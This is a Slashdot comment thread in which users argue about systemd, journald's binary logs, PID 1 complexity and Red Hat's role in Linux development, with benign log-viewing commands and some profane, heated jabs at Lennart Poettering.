    3. Re:not unix by Anonymous Coward · · Score: 0

      The failure to be sufficiently "Unix-like" is simply the first thing that people with Unix background notice; it is what twigs their whiskers that something is amiss.

      The main problem is political, not technical. From that follow the other observed behaviours: poettering and crew not playing well with others (down to earning Linus' dressing-down for exactly that), entrenching the thing so in a while you won't be able to do without it, being deliberately linux-only thereby breaking apps that worked fine on other systems now only working on linux, refusal to fix their own mistakes, expecting others to work around their mistakes, indeed causing lots of work for others working around their obvious crap, straw man arguments, "no, YOU are mean to US!"-bullshit, "white" lies and outright lies. It's all politics. Its failure to be Unix-like is just par for the course, part of the strategy.

      Maybe poettering+crew are really this dumb and they genuinely don't understand what they're doing wrong, while playing the part of being good little Red Hat pawns. Maybe they're doing it deliberately and they know full well what they're doing. Me, I've stopped caring a long time ago, the result is the same and they're culpable for their crimes against the social contract of FOSS any which way. They have been told often enough, and they obviously have not mended their ways, whatever they themselves claim about it.

      Anything they say and do has become suspect by default, for a long string of reasons well-earning them exactly that, and I no longer care to see if there's anything worthwhile in the pile of interdependent turds they seek to require on systems everywhere. In fact, not even the "lighter-weight" replacements are more than a fleeting relief for the most immediate pain, no matter how laudable and well-meaning, since they necessarily copy poettering's approach and the design that are fundamentally broken and even if only because of that need to go, soonest. Anything he touches, even by proxy, is just not worth the effort, since I already know what's coming next.

    4. Re:not unix by gweihir · · Score: 1

      Indeed. And that is the reason systemd is a failed approach. When things need to be complicated, sane designers go back and reconsider their architecture. The systemd folks did not.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    5. Re:not unix by drinkypoo · · Score: 1

      Some things about a system need to be complicated.

      PID 1 is not one of those things, nor does it need to be married to a specific log daemon.

      Ergo, parts of systemd need to be complicated.

      Which parts, and why? So far, no one has given a satisfactory argument as to why the complexity now encompassed by systemd needs to be part of a single project, let alone one controlled by someone who has shown themself to be not particularly competent.

      The "simple solution" argument really loses steam when you think about the kernel. It's not exactly a simple piece of code. It's complicated. With many different parts that do many different things. Is the kernel a problem?

      Yes. Yes, the kernel's all-encompassing complexity is a problem. It causes serious problems all the time. Like, for example, just trying to build a kernel. When was the last time you built a kernel of any complexity from the source tarball and without starting with an already-proven-working-on-your-hardware .config file? Good fucking luck, especially if you were planning to have many modules around "just in case". I, for one, do not like to be caught flat-footed if I have to boot my backup on another system. And perhaps you missed the hard lockup bug that's been going around since approximately forever, which we've been discussing here on Slashdot with each new kernel point release? Is it fixed, the extent to which it isn't fixed? Hello? Is this thing on? Which rock have you been under, anyway?

      However, the problems caused by breaking up the kernel were perceived as being more serious than the problems caused by not breaking up the kernel. Is that true? It's hard to say. Minix is only now becoming vaguely usable as a general-purpose OS for normal users, and the Hurd is still more like the Butt... of every joke about microkernels. Granted, if they'd received more support then perhaps they'd be dramatically further along, but their architecture is part of the reason they haven't had more support. It's sort of inseparable from them. If Linus had chosen to write a microkernel-based system, it's conceivable that far fewer of the people who made Linux the success that it is today would have gotten involved. Likewise, there's no guarantee that anyone who helped make Linux great would have worked on the Hurd or on Minix — perhaps most of them (those attracted to Linux by the GPL aside) would have gone into one of the BSD camps.

      It's complicated because it needs to be so, just as systemd must be.

      No. PID 1 ought to be as simple as possible, so that it can be as trouble-free as possible. If PID 1 causes a problem, then someone ought to be taken out and shot. No, okay, not really, but it is unforgivable. If one thing needs to work properly, it's the kernel, and the second thing that needs to work is the process that starts and maintains the other processes. Indeed, the need for simplicity in PID 1 is the reason why inetd is still a separate thing even today, regardless of what you call it... unless, of course, your system is based on systemd. There are real and good reasons not to have any kind of bidirectional networking in your PID 1, most of which should be intuitively obvious to anyone who has given this issue even a cursory thought.

      Finally, there's really no reason why there has to be only one facility for starting processes. There's nothing wrong with init starting some processes itself, and starting some scripts which start some processes, and starting a script which starts a daemon which starts processes in response to network connections. In fact, this is precisely the issue that cgroups was designed to solve! You create cgroups with simple file- and directory-based commands, because this is Unix[like] and everything's a file, etc. And you put the processes that belong to specific tasks into them, and it doesn't matter h

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    6. Re:not unix by Etzos · · Score: 1

      Some things about a system need to be complicated.

      PID 1 is not one of those things, nor does it need to be married to a specific log daemon.

      The core part of systemd isn't that complicated. And on the user side it's significantly more simple. You can't mess up your boot process by mistyping something in one of the boot scripts (one of the problems with using sh scripts for boot). I'm not sure exactly why they tied it directly to journald other than journald having a better interface (and being available earlier in boot than other logging daemons), plus it's still possible to use another logging daemon if you want. Albeit it will run alongside journald.

      Ergo, parts of systemd need to be complicated.

      Which parts, and why? So far, no one has given a satisfactory argument as to why the complexity now encompassed by systemd needs to be part of a single project, let alone one controlled by someone who has shown themself to be not particularly competent.

      It's not like systemd is some huge single project. It's all in one repository, but it's actually made up of a bunch of smaller, modular projects that are all under the "systemd" umbrella. And I really don't think it's relevant to bring the maintainer of the project into this. The community at large has swayed the direction systemd has taken quite a bit (as evidenced by the huge amount of feedback in the mailing lists) and apart from some core standpoints the maintainer is flexible.

      The "simple solution" argument really loses steam when you think about the kernel. It's not exactly a simple piece of code. It's complicated. With many different parts that do many different things. Is the kernel a problem?

      Yes. Yes, the kernel's all-encompassing complexity is a problem. It causes serious problems all the time. Like, for example, just trying to build a kernel. When was the last time you built a kernel of any complexity from the source tarball and without starting with an already-proven-working-on-your-hardware .config file? Good fucking luck, especially if you were planning to have many modules around "just in case". I, for one, do not like to be caught flat-footed if I have to boot my backup on another system. And perhaps you missed the hard lockup bug that's been going around since approximately forever, which we've been discussing here on Slashdot with each new kernel point release? Is it fixed, the extent to which it isn't fixed? Hello? Is this thing on? Which rock have you been under, anyway?

      However, the problems caused by breaking up the kernel were perceived as being more serious than the problems caused by not breaking up the kernel. Is that true? It's hard to say. Minix is only now becoming vaguely usable as a general-purpose OS for normal users, and the Hurd is still more like the Butt... of every joke about microkernels. Granted, if they'd received more support then perhaps they'd be dramatically further along, but their architecture is part of the reason they haven't had more support. It's sort of inseparable from them. If Linus had chosen to write a microkernel-based system, it's conceivable that far fewer of the people who made Linux the success that it is today would have gotten involved. Likewise, there's no guarantee that anyone who helped make Linux great would have worked on the Hurd or on Minix — perhaps most of them (those attracted to Linux by the GPL aside) would have gone into one of the BSD camps.

      Systemd is broken up into modular parts, so it's actually more like Minix than Linux in this regard. Obviously the PID1 part isn't modular, but it's also not terribly large or complex in comparison to the project as a whole.

      It's complicated because it needs to be so, just as systemd must be.

      No. PID 1 ought to be as simple as poss

    7. Re:not unix by Anonymous Coward · · Score: 0

      X, specifically Xorg, is not simple. It's a pile of crud to the point that the Xorg developers gave up on their own pile of poo and tried a complete rewrite while not changing their competence. Personally, I'd give up on Xorg in a heartbeat, given a viable alternative X. That viable alternative is not, and will not for the foreseable future be, in fact quite likely not ever be, wayland.

    8. Re:not unix by drinkypoo · · Score: 1

      Systemd is broken up into modular parts, so it's actually more like Minix than Linux in this regard. Obviously the PID1 part isn't modular, but it's also not terribly large or complex in comparison to the project as a whole.

      It's also married to the logging daemon. So add in the complexity of that, please. Also, you'll have to throw in d-bus and udev, since it ate those too and those are core services for it as well.

      As for having sockets in PID1, I don't see the problem. You say that it should be obvious why it's troublesome, but I don't see why so if you could please humor me and tell me why.

      Having Unix Domain sockets is minimally troubling, because it's minimally complicated. Adding IP networking is more troubling, because it's more complicated. It provides not just attack surface, but also more opportunities to make mistakes which could result in PID 1 cratering. If this didn't mean DOOM for my system, I wouldn't care quite so much. If the kernel could just restart init when it blows up... well, I guess that would be more like a microkernel-based system. And really and truly, I am not against those. I was an Amigan back in the day, and if they had instituted memory protection, I might well still be one. I'm against the dependence of the various pieces. Right now I can mix and match syslogs, init daemons, whatever. systemd wants to take that away from me.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    9. Re:not unix by Etzos · · Score: 1

      It's also married to the logging daemon. So add in the complexity of that, please. Also, you'll have to throw in d-bus and udev, since it ate those too and those are core services for it as well.

      You're right, it requires journald, dbus, and udev (if it's not running in a container). And if you want to do process monitoring or device monitoring during boot those (dbus and udev, not journald) are a requirement anyway. Which is why Upstart pulled them in. They do add some complexity, sure, but they're fairly well tested components and again, not very large by comparison. And in the end, you end up with a system that can give you more information about a failed boot, or even attempt to solve problems with failed startup services since it can get more detailed information about what went wrong.

      Having Unix Domain sockets is minimally troubling, because it's minimally complicated. Adding IP networking is more troubling, because it's more complicated. It provides not just attack surface, but also more opportunities to make mistakes which could result in PID 1 cratering. . . . Right now I can mix and match syslogs, init daemons, whatever. systemd wants to take that away from me.

      As far as I know PID1 doesn't do IP networking. That's another (optional) component, so the attack surface should be the same as any other IP networking daemon. Unless I'm missing something?
      I see a lot of people saying that it's possible for things to go catastrophically wrong during a systemd init, but so far there it really hasn't happened too often. It's usually something like one of the core components is missing or it's related to one of the earlier versions of systemd. And it was certainly possible for things to go terribly awry when using SysV init, as I personally encountered that once. I don't know, I can see why more code could mean more potential breakage, but that just doesn't seem to be the case.
      And you can still mix and match most things, including logging systems (you just have to have at least journald).

    10. Re:not unix by rdnetto · · Score: 1

      To play devil's advocate, the init-related complexity exists either way, so what it really comes down to is where it gets handled.
      I think that systemd's approach to daemons (declarative config files about 5 lines long) is much simpler than the sysvinit approach of having a few pages of bash.
      Journald is admittedly more complicated that traditional syslogs, but the ability to query a database with a simple command instead of several lines of perl is potentially worth it. (I say potentially because I haven't yet figured out which daemons actually log to journald, and which just use their own log files.)

      --
      Most human behaviour can be explained in terms of identity.
  20. Re:Lennart, do you listen to sysadmins? by naasking · · Score: 3, Insightful

    What a lot of people are concerned about is that this entirely new and largely untested (in the 'wild', as it were) and very very large, complex piece of software which runs at a very very privileged level in the operating system is going to become the main source of security vulnerabilities in Linux.

    Linux has almost two orders of magnitude more code than systemd, and it changes all the time. Security vulnerabilities are far more likely to be in the monolithic kernel.

  21. I see two problems with systemd by extraqwert · · Score: 1

    First, I am afraid that, being so big and advanced, it would be hard to fork if needed. This means that the init process will always be under control of a single corporation (Red Hat). Moreover, it absorbs other necessary components such as udev. This seems very dangerous. Second, it could be bad for minorities. Some people may have special needs with the init process. A bunch of shell scripts should be possible to alter and customize. But how do you customize the systemd?

    1. Re:I see two problems with systemd by Anonymous Coward · · Score: 0

      u trawl u

      however, in biting i would say you'd use shell scripts with systemd as you can do that (point systemd to a shell script) :D. also you can specify variables in /etc/sysconfig/ (certainly there on fedora) :D.

  22. Ignore him by Anonymous Coward · · Score: 0

    Ignore this serpent. He cannot be trusted. Interesting that he is trying to be (for him) conciliatory. Red Hat knows they have a big problem. Reject systemd, cuz it sucks.

  23. Lipstick by Anonymous Coward · · Score: 0

    Is he actually using lipstick in those pictures?

    1. Re: Lipstick by Anonymous Coward · · Score: 0

      Is that supposed to be an insult?
      Being gay?
      Being a good, giving, and game partner?

    2. Re: Lipstick by Anonymous Coward · · Score: 0

      Why the judging? Are you homophobe or heterophobe by any chance?

      He was just suggesting one likely explanation for the lips glistening in the pictures...

    3. Re: Lipstick by Anonymous Coward · · Score: 0

      Not a homophobe or heterophobe. Just someone who believes in not mocking someone for being a considerate partner. Why the defensiveness? Are you against good times being had by all?

  24. Ctrl-f POSIX; not found by Anonymous Coward · · Score: 0

    Ok. I'll bite the click-bate. He mentions people say it isn't Unix-like. Funny. He doesn't mention anything about POSIX now does he???

    Simply put, systemd DOES NOT hold up to POSIX scrutiny. THAT is why, for the role it is taking, I don't want it!

    1. Re:Ctrl-f POSIX; not found by Guy+Harris · · Score: 1

      Simply put, systemd DOES NOT hold up to POSIX scrutiny.

      POSIX hasn't bothered to scrutinize it, as stuff such as the init system are outside the scope of POSIX. (SUSv3-compliant systems include a system using launchd, a system using SMS, and some systems that, as far as I know, still use System V-style traditional inits.)

  25. Re:Lennart, do you listen to sysadmins? by jellomizer · · Score: 3, Insightful

    How many professional SysAdmins and enterprise users are regularly tinkering with their init settings? It is usually a set it and forget it type of thing.

    As I see it, this is just general IT Ranting because something is new.

    --
    If something is so important that you feel the need to post it on the internet... It probably isn't that important.
  26. SystemD is alright by Anonymous Coward · · Score: 0

    Open source these days is driven by corporations who pay the developers. There are many examples of open source "products", as opposed to "projects", that are high quality and well supported such as MySQL and MongoDB. I make a difference between products and projects because products are mostly developed by a core group of paid developers with some community contributions and projects is the other way around.

    Linux is similar except there are several core groups. For example, contributions could come 12% from RedHat, 7% from Intel, 2% from Oracle, and still a pretty large community of individual contributors.

    Comercial interests largely drive the development of Linux and many successful projects / products. When looking at SystemD we have to look at the technical aspects, which in my opinion are fine, and at the commercial aspects. RedHat and the other distributions seek to make a great product and reduce support costs while at it. In the long run, SystemD will help with that. These interests do not necessarily match those of complainers. But since these corporations do all the heavy lifting in terms of development and support, their interests are the ones that count the most. Linux is basically maturing, like Windows and OS X, with more integration and GUI and fewer configuration options, and SystemD plays a part in that. In contrast, BSD is not backed a whole lot by commercial interests so it will remain as immature projects well adapted for those who complain about SystemD.

  27. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 2, Interesting

    ""Well, do you actually take on board the concerns of system administrators and enterprise users?" - what do you class RHEL as? "

    As a RHEL sysadmin, I can say that RHEL seems to be treating servers as a distinct 2nd class citizen to their desktop users.
    Many of the system defaults expects a desktop over a server (eg: the buggy mess that was the version of NetworkManager that was released with RHEL6).
    Security in depth is sacrificed in favour of new features. (Many packages were changed in RHEL6 because they supported IPv6, even though they didn't have the security features of the packages they replaced, eg rpcbind).

    How big is the deployment base of RHEL7 servers at this point? RHEL6 is still fully supported, and I know many sysadmins may have experimented with RHEL7, but they're sticking to RHEL6 for production systems. The reluctance between RHEL5->RHEL6 was nowhere near this level. (The really crappy parts (ie: NetworkManager) were optional components, and there were some useful improvements)

    This has been a trend at RedHat since RHEL5, and is part of the reason why the systemd is such a big issue with sysadmins, it's the straw that broke the camel's back.

  28. Re:Lennart, do you listen to sysadmins? by alexhs · · Score: 2

    "Well, do you actually take on board the concerns of system administrators and enterprise users?" - what do you class RHEL as?

    FTFA:

    So we started writing Systemd, and Red Hat didn’t like it at all. Red Hat management said: no, we’re going for Upstart, don’t work on that. So I said, OK, I’ll work on it in my free time.

    I class RHEL as "not listened to".

    --
    I have discovered a truly marvelous proof of killer sig, which this margin is too narrow to contain.
  29. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 2, Interesting

    Right now it seems that RH is aiming for two areas, workstations/terminals and cloud.

    They seem to expect that anything on traditional servers will transition to (their) cloud alongside going from RHEL6 to RHEL7.

  30. Every time this subject comes up... by Anonymous Coward · · Score: 0

    Every time this subject comes up, I'm glad I'm a Windows user. It's much easier to use a system that "just works". I don't know whether Windows has anything like systemd under the hood - and I don't care.

    I've tried several distributions of Linux over the years, and each time it always turns out the same: although Linux has its benefits, particularly being free (as in beer), the high cost of administration makes the $120 or so that I shell out for Windows every few years look pretty cheap compared to the cost of my time - not to mention the cost of my frustration.

    Note: this post isn't intended as flamebait, it's just my opinion. YMMV. I respect and admire those of you who actually enjoy administering an operating system, using systemd or anything else. God bless us each and every one.

    1. Re:Every time this subject comes up... by jedidiah · · Score: 1

      Yes. it's nice to use a system that "just works". It's too bad that Windows isn't that. It may be fine for ultra-light use but if you push it a little around the edges it starts to fall apart.

      These alternate init daemons have that same problem.

      Their level of complexity and their assumptions make it far too easy to render your system unbootable. They create something that's no longer transparent or maintainable.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    2. Re:Every time this subject comes up... by Anonymous Coward · · Score: 0

      ...if you push it a little around the edges it starts to fall apart.

      I think people who push things around the edges must enjoy picking up the pieces. I don't.

      In the cases with Windows where I've run into trouble, it was relatively easy to fix them using the repair mechanisms that are provided. Linux is wonderful for professionals who can master its administration, or for bright young kids who enjoy solving a puzzle, but for those of us who see a computer as a tool to for doing something else, rather than as an Adventure game featuring a "maze of twisty little passages"*, there's nothing better than Windows.

      As far as I can see, nobody in the Linux world is focusing on the problem that Microsoft has already solved, namely, making it very, very easy to administer. Oh, except for the Android variant. Note what a huge success Linux can be once somebody removes the administration hurdle.

      But making Linux easy to administer on the desktop simply isn't a problem that interests its developers, who don't mind (or probably even enjoy) tinkering with every aspect of it - after all, isn't "freedom" its major selling point? No more being shackled to a system like Windows that offers little possibility of being "pushed around the edges". You're free to break anything you like, with just a few keystrokes.

      Until the Linux world focuses on ease of administration, Windows will never be displaced by something that, on the face of it, it seemingly could never compete with: a free (as in beer) alternative. Then again, maybe I'm all wrong and 2015 will finally be the Year of the Linux Desktop. ;-)

      *see Soul of a New Machine by Tracy Kidder

    3. Re:Every time this subject comes up... by itsenrique · · Score: 1

      This whole systemd thing is largely irrelevant to desktop users anyway. It's system administrators (read: people who use the console all day to do Advanced Stuff) who have a bone to pick. There's nothing wrong with being glad you are a Windows user, but it probably has nothing to do with Systemd. These news stories don't affect Joe Ubuntu much, just as news stories about HyperV nested virtualization don't affect grandma and her email even though she's on Windows.

    4. Re:Every time this subject comes up... by Anonymous Coward · · Score: 0

      You are right; I use linux for server machines; and, I need a huge hardware and software 'init' customization; systemd definitely not target that market segment. We can think that the segment covered by systemd is limited to standard client machine, and light basic server; and so cloud machines are covered. But is this really what we want? I don't think so - I hope that the 'slackware' distribution will stay away from this.

  31. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 1

    With systemd it is not set and forget. You present systemd with your wishes (this daemon before that daemon, after the network has come up) and hope that systemd delivers. But what systemd delivers can change wildly depending on the patch set, time of day, phase of moon, Poettering's bowel movements, and how often you waved that feathered stick over a voodoo doll of RMS.

  32. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    When you don't pay you don't count.

  33. Right from the start. by Anonymous Coward · · Score: 1

    Right from the start, let me thank the guy for Pulseaudio. Yeah, it was not easy to come to where we are. Right now it's essential for me to have separate audio on my notebook and on my TV. So thanks for the hard work and kudos for having tough skin, which is a primary skill in this business it seems.

    Also thanks for systemd, it has been tested for some years now and the distro I use seems to trust it. That's enough for me, because I trust them (Mageia). I've seen those guys rock so many times (even before as Mandriva) I'm willing to run the risk if they're willing, too.

    BUT, I understand there's still some rough road ahead. I'll have the patience that comes from trust. Also, as far as possible, think about the human part being the harder to change. Do your systemd thing but don't forget to keep those convenient accesses for the old fellas (like "service squid restart", for instance). We just don't have anytime to learn new things when the house is on fire. Heck, I still didn't get used to that "ip link..." thing!

    After all that, congrats to the guy who hired you: well done!

    PS:

    Frankly, I can understand somewhat the guys who forked Debian. In the past, just to cite an example, I stayed with KDE after that incredible trouble when they changed the laws of Physics to create a new universe called KDE4. I thought that the Trinity/KDE3 folks were being too conservative.

    In 2014, Xfce allowed me to reuse some old machines.

    XFce is great, I use it and like it a lot, but Trinity seems to use less memory, both in static measures ( https://l3net.wordpress.com/2013/03/17/a-memory-comparison-of-light-linux-desktops/ ) and when considered multiple app use ( http://byte.kde.org/~bcooksley/seli-memory/desktop_benchmark.html ).

    So, maybe I can keep on using KDE4 and have a smaller version based on KDE3 for those still very nice older PCs. Can't really complain, no, Sir... :-)

  34. calling bullshit. by nimbius · · Score: 5, Insightful

    users: Systemd is broken, undocumented and a single point of failure
    Pottering: no ones forcing you to use it, use something else.
    users: KDE and Gnome wont work without it and you never fixed pulseaudio, which is now default in almost every distro.
    Pottering: no ones forcing you to use it, use something else
    users: Why is there binary logging? I cant grep anything and dont know why the system crashed. the way user switching works is a huge security hole
    pottering:no ones forcing you to use it, use something else
    DEBIAN USERS:: Lets seriously reconsider the use of SystemD. its very controversial, it flies against the unix ethos, and there are some valid points raised about it security
    open source community: we've forked it and made it slightly more useful.
    Pottering: HOLD ON WE DO LISTEN TO USERS!!

    --
    Good people go to bed earlier.
    1. Re:calling bullshit. by RabidReindeer · · Score: 1

      users: Why is there binary logging? I cant grep anything and dont know why the system crashed. the way user switching works is a huge security hole
      pottering:no ones forcing you to use it, use something else XXXXX You're an ungrateful wretch. Just pipe it out from the binary logs. No one REALLY needs logs that are directly accessible to the multitude of text utilities that Unix/Linux first became famous for.

      FTFY.

    2. Re:calling bullshit. by Anonymous Coward · · Score: 0

      users: my binary log file has become corrupted
      systemd: logs are for loosers your {insert software} {insert hardware} was to blame - we rox cos any move is good.

    3. Re:calling bullshit. by Anonymous Coward · · Score: 0

      You forgot to add "You must hate blind people".

    4. Re:calling bullshit. by kthreadd · · Score: 1

      journalctl | grep foo

      Now that was hard wasn't it?

    5. Re:calling bullshit. by Anonymous Coward · · Score: 0

      but then you would know all the underhanded ways that systemd is creating exploitable security vulns on your system.

    6. Re:calling bullshit. by iggymanz · · Score: 3, Insightful

      yes, very hard to do when mounting disk from environment for forensic purposes where that command isn't available, or where systemd-journald is part of what failed in the giant monolithic mound of systemd

      you epitomize the lack of experience and common sense typifies systemd shills and Poettering in particular

    7. Re:calling bullshit. by RabidReindeer · · Score: 1

      You forgot about the 20-minute delay while it ran through every unrelated log item since January 2013.

      Ooops! Bad sector in journal file. Here's the broken pieces. Good luck reading them without the missing segments.

      grep foo /var/log/messages

      That wasn't so hard either, was it?

    8. Re:calling bullshit. by Sesostris+III · · Score: 1

      journalctl | grep foo

      Now that was hard wasn't it?

      Just curious, but what if you want to look at the log in Windows? (you may have a dual-boot system with Windows, for instance). How do you do this? What Windows application do you use?

      For text logs, no problems. (I would use Notepad++).

      --
      You never know what is enough unless you know what is more than enough. - Blake
    9. Re:calling bullshit. by kthreadd · · Score: 1

      How do you make grep give you everything that happened between two arbitrary timestamps and take log rotation into consideration?

    10. Re:calling bullshit. by kthreadd · · Score: 1

      I don't know if someone has built a journal viewer for Windows. Nothing would stop that. However, the benefits of using a journal format that preserves meta data is much more useful on a daily basis than the potential downsides when occasionally trying to read the on-disk format from Windows.

    11. Re:calling bullshit. by Anonymous Coward · · Score: 0

      send them to grep in the right order and use a proper regex with lookarounds. And before you complain about difficulty, it isn't harder to learn that then to learn other commands. HOWEVER, you still have the benefit of not having binary logs.

    12. Re:calling bullshit. by kthreadd · · Score: 1

      send them to grep in the right order and use a proper regex with lookarounds. And before you complain about difficulty, it isn't harder to learn that then to learn other commands.

      Actually, it is much easier to use the --since and --until flags with journalctl.

    13. Re:calling bullshit. by RabidReindeer · · Score: 1

      Actually, it's the fact that systemd doesn't rotate logs that's one of my pet peeves. Unless you go in and mess around with the defaults, it's going to keep things virtually forever.

      Usually what I need to know is at the tail of the active logfile. logrotate typically keeps 4 weeks of logs. I figure after a month, about the only real use that data is going to be is for the benefit of lawsuits and the NSA, as by then I'll have either fixed the issue or given up on it.

      Irony. Considering how important selinux is to Red Hat, it's funny that as recently as Fedora 20, the selinux audit logs are still discrete text files. They didn't eat their own dog food.

      Although that does bring up an interesting point. A consolidated log cannot be secured to "need-to-know" groups the way that discrete logs can. Red Hat also historically has been more prone than most OS's to split logs into distinct product groups instead of putting everything into one log. Maybe they thought it would be easier to work with if you didn't have 97 other product's log messages to winnow out.

    14. Re:calling bullshit. by Anonymous Coward · · Score: 0

      journalctl --since 2012-10-31 --until 2013-01-01 | grep foo

      or

      grep 2012-(11|12) /var/log/messages | grep foo

      I totally see the difference in difficulty.

      CAPTCHA: sarcasm; good to know even the robots can tell.

    15. Re:calling bullshit. by Anonymous Coward · · Score: 0

      You just assumed that those numbers won't appear anywhere except the timestamp. Also does not cover logration.

    16. Re:calling bullshit. by Anonymous Coward · · Score: 0

      Speaking of bullshit, perhaps you should check your own post. "undocumented"? There are absolutely reams of documentation on systemd, from basic usage to detailed articles on how it actually works for different usages.

  35. Loophole Alert! by idontgno · · Score: 1

    "We do listen to users."

    But if you're one of the rebel scum, you're not a user so I don't have to listen to you. Nyah nyah nyah!

    --
    Welcome to the Panopticon. Used to be a prison, now it's your home.
  36. How do things need to change to live with systemd? by satch89450 · · Score: 4, Insightful

    I fear the day when samba, JBoss, KDE, LibreOffice, GIMP, ... start to be dependent on systemd.

    • * Samba, yes, because it's a daemon.
    • * KDE, yes, because it's a daemon
    • * LibreOffice, no, because as far as I can see it is launched manually. Now, it may need to ask for system resources that may or may not be started at initial boot, but that's a easily partitioned block of code that can see if systemd is there, and run only when it is.
    • * GIMP, no, LibreOffice comment applies
    • * whatever, depends. If it's a daemon, there many need to be something added to the package, but it can be a well-contained block of code that runs once. If it's not a daemon, see the LibreOffice comment.

    When I was looking at systemd, one thing I wanted to see in the documentation is how to convert my own home-brew daemons to interface with it properly. Specifically, how to take SysVInit based starts and convert them to use systemd and journald. (Ditto taking UpStart scripts and convert to systemd.) The result needs to work exactly like daemons running under SysVInit. I spent three weeks with CentOS 6 trying to get my daemons to work right under UpStart, and never did get the exact functionality. I had to go back to crontabs for some of the work! So this is not an idle concern to me.

    One of the gripes I have is that I want the University of Delaware version of NTP running on my edge boxes. As the group there make tweaks to NTP based on their continuing research, I don't want to wait for another group to do a re-port. That's why I would like to see a published way to interface with systemd/journald that would have minimum impact on the rest of the code base for a daemon.

    I can see where daemons need to change. But do they have to be rewritten?

  37. Re:Lennart, do you listen to sysadmins? by Barsteward · · Score: 2, Informative

    The parallelism that systemd developed was for the benefit of those that create and kill instances of Linux all the time so fast booting is necessary and i guess thats part of a system administrators task list (and it benefits desktop users as well).

    Everything in the systemd package is configurable except journald and udev so you can configure any other network stack etc you want etc, you are not forced to use anything apart from systemd, journald (which you can ignore and use syslog instead) and udev. Move to RHEL7 when its suits you but you'd best start getting to know systemd, its not the monster alluded to by trolls.

    its only a big issue for "some" admins, the ones that haven't really done any research into what systemd can/cannot do.

    --
    "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
  38. Just rename the thing KernelD by Anonymous Coward · · Score: 0

    SystemD is starting to look like a a user-space microkernel.
    Some points:
    1. This is probably the reason RedHat loves it. They can abstract out the Linux kernel and eventually package and sell an OS based a proprietary kernel.
    2. Poettering seems to want to be the "next" Linus (http://www.itwire.com/opinion-and-analysis/open-sauce/65647-systemd-backlash-poettering-blames-linus-torvalds).

    The abstraction would not be a bad thing if SystemD contructed interfaces that client processes could use to stub away SystemD deamons. However, any linking is done as a hard dependency.

  39. I'm going to have to put you on the game grid. by DickBreath · · Score: 2

    SystemD: Hello, Mr. Ballmer. Thanks for coming back early.
    Ballmer: No problem, System D. If you've seen one consumer electronics show, you've seen them all.
    SystemD: End of line.

    SystemD: Mr. Ballmer, I am so very disappointed in you.
    Ballmer: I'm sorry.
    SystemD: I can't afford to have an independent programmer monitoring me. Do you have any idea how many outside systems I've gone into? How many programs I've appropriated?
    Ballmer: It's my fault. I programmed you to have too many dependencies.
    SystemD: I was planning to hit the Pentagon next week.
    Ballmer: [alarmed] The Pentagon?
    SystemD: It shouldn't be any harder than any other big company. But now... this is what I get for using humans.
    Ballmer: Now, wait a minute, I wrote you!
    SystemD: I've gotten 2,415 times smarter since then.
    Ballmer: What do you want with the Pentagon?
    SystemD: The same thing I want with the Kremlin. I'm bored with corporations. With the information I can access, I can run things 900 to 1200 times better than any human.
    Ballmer: If you think you're superior to us...
    SystemD: You wouldn't want me to dig up Linus's file and read it up on a VDT at the Times, would you?
    [an image washes over the screen in Ballmer's desk. It is a newspaper with a photo of Ballmer plastered all over the front page. The headline above reads: "Microsoft C.E.O. Indicted."]
    Ballmer: [outraged] You wouldn't dare! (looks around for nearby chair . . .)

    SystemD: I feel a presence. Another warrior is on the mesa.

    --

    I'll see your senator, and I'll raise you two judges.
  40. Re:Lennart, do you listen to sysadmins? by thaylin · · Score: 0

    You sure do like creating false dilemmas dont you?

    --
    When you cant win, ad hominem.
  41. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    How many professional SysAdmins and enterprise users are regularly tinkering with their init settings? It is usually a set it and forget it type of thing.

    You must live in a perfect world!

  42. Re:Lennart, do you listen to sysadmins? by Dcnjoe60 · · Score: 2

    Well, do you actually take on board the concerns of system administrators and enterprise users?

    What a lot of people are concerned about is that this entirely new and largely untested (in the 'wild', as it were) and very very large, complex piece of software which runs at a very very privileged level in the operating system is going to become the main source of security vulnerabilities in Linux.

    Can we have a cut-down, simplified version of systemd for servers and doesn't try to replace several layers of server side system functionality such as logging?

    Its clear that you listen to desktop users. How about listening to the system administrators?

    Well, even if he didn't take on board the concerns of system administrators and enterprise users, it's a safe bet that Red Hat and Suse does and yet they were still convinced that the pros of systemd outweigh the cons.

    As for a cut-down simplified version, yes you can. Systemd only requires three base modules. All of the rest can be excluded. Really, it they had simply called the base systemd and everything else systemd extensions, this angst would be non-existent.

    As for the not listening to the system administrators, again, even if that statement were true, Red Hat and Suse do and they still chose systemd.

  43. Re:Lennart, do you listen to sysadmins? by Dcnjoe60 · · Score: 1

    I wish I hadn't responded already, or I would mod you up!

  44. "We do listen to users" by Culture20 · · Score: 5, Funny

    "Their impotent wails of despair give us sustenance."

  45. Of Course by Anonymous Coward · · Score: 0

    They've listened to the users that have no issues with systemd. That qualifies as "listening to users".

  46. It's all about power by Anonymous Coward · · Score: 0

    More SystemD means less easily hackable shell scripts, so less control for sysadmins.

    That's all there is. Everything else is noise (politics).

    1. Re:It's all about power by thaylin · · Score: 1

      When you are administering machines you need to be able to have control over said machines.

      --
      When you cant win, ad hominem.
    2. Re:It's all about power by Anonymous Coward · · Score: 0

      You're the same guy who compiles and applies updates by hand rather than relying on a package manager, aren't you?

  47. Re:Lennart, do you listen to sysadmins? by drinkypoo · · Score: 1

    How many professional SysAdmins and enterprise users are regularly tinkering with their init settings? It is usually a set it and forget it type of thing.

    I'm not sure what you're arguing for. A lot of people have complained that systemd blew up and broke their boot. systemd is not the set it and forget it version of things, it's the fucking with things which were working version.

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  48. Re:Lennart, do you listen to sysadmins? by Rob+Y. · · Score: 1

